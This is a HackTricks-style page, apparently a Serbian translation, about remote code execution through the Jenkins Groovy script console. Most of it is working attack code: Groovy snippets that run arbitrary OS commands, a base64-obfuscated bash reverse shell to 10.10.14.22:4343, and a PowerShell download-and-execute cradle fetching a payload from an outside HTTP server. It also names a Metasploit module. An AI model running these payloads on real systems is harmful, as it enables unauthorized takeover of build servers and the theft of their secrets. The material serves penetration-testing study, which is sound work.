Jenkins RCE sa Groovy skriptom
Reading time: 3 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Jenkins RCE sa Groovy skriptom
Ovo je manje bučno nego kreiranje novog projekta u Jenkinsu
- Idite na path_jenkins/script
- Unutar tekstualnog okvira unesite skript
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
Možete izvršiti komandu koristeći: cmd.exe /c dir
U linuxu možete uraditi: "ls /".execute().text
Ako trebate koristiti navodnike i jednostruke navodnike unutar teksta. Možete koristiti """PAYLOAD""" (trostruki dvostruki navodnici) za izvršavanje payload-a.
Još jedan koristan groovy skript je (zameni [INSERT COMMAND]):
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Obrnuta ljuska u linuxu
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Обратна љуска у Виндовс
Можете припремити HTTP сервер са PS обратном љуском и користити Jeking да је преузмете и извршите:
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
Скрипт
Можете автоматизовати овај процес са овим скриптом.
Можете користити MSF да добијете реверзну шелл:
msf> use exploit/multi/http/jenkins_script_console
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.